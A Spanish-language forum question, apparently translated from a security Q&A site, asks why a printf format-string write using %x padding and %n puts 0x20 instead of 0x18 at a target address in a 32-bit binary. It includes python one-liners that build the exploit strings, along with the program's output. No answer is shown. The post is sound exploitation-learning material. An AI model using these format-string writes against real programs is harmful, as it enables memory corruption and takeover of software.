Ayuda con el aprovechamiento de cadenas de formato

2

Estoy trabajando en un binario de 32 bits que lee una entrada del usuario y la usa como una cadena de formato para printf.

Necesito sobrescribir una dirección específica con un solo byte.

El problema es que no puedo sobrescribir la dirección con el valor esperado.

Utilizo el siguiente enfoque y necesito ayuda para comprender por qué se escribe el valor incorrecto en la dirección de memoria elegida.

Ejemplo:

Dirección de memoria a sobrescribir: 0xaabbccdd

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 6') | ./bin

�̻�ffffd0a81814ffffd34556557000aabbccdd

Por lo tanto, sé que cuando ingrese% x, 6 veces, la dirección que deseo sobrescribir aparecerá en la pila. Entonces, usando el 6% x, puedo interactuar con esta dirección de memoria.

Para leer el contenido de 0xaabbccdd, haría:

$ echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%s"') | ./bin
�̻�ffffd0a81814ffffd34556557000aabbccdd

Ahora, quiero escribir 0x18 en la dirección: 0xaabbccdd.

0x18 = 24 (en decimal).

Si uso% x 5 veces, entonces el número de bytes escritos por printf es:

4 bytes - > correspondiente a la dirección: 0xaabbccdd 5 DWORD de la pila = 5 * 4 = 20 bytes

entonces,% n debería escribir (20 + 4) = 24 bytes en la dirección de memoria 0xaabbccdd con la siguiente cadena de formato:

echo -n $(python -c 'print "\xdd\xcc\xbb\xaa" + "%x" * 5 + "%n') | ./bin

En su lugar, sobrescribe la dirección con el valor, 0x20.

No puedo entender, ¿por qué esos 2 bytes adicionales?

Se supone que

% n escribe el número de bytes impresos por printf hasta ahora.

    
pregunta Neon Flash 24.11.2018 - 13:31
fuente

0 respuestas

Lea otras preguntas en las etiquetas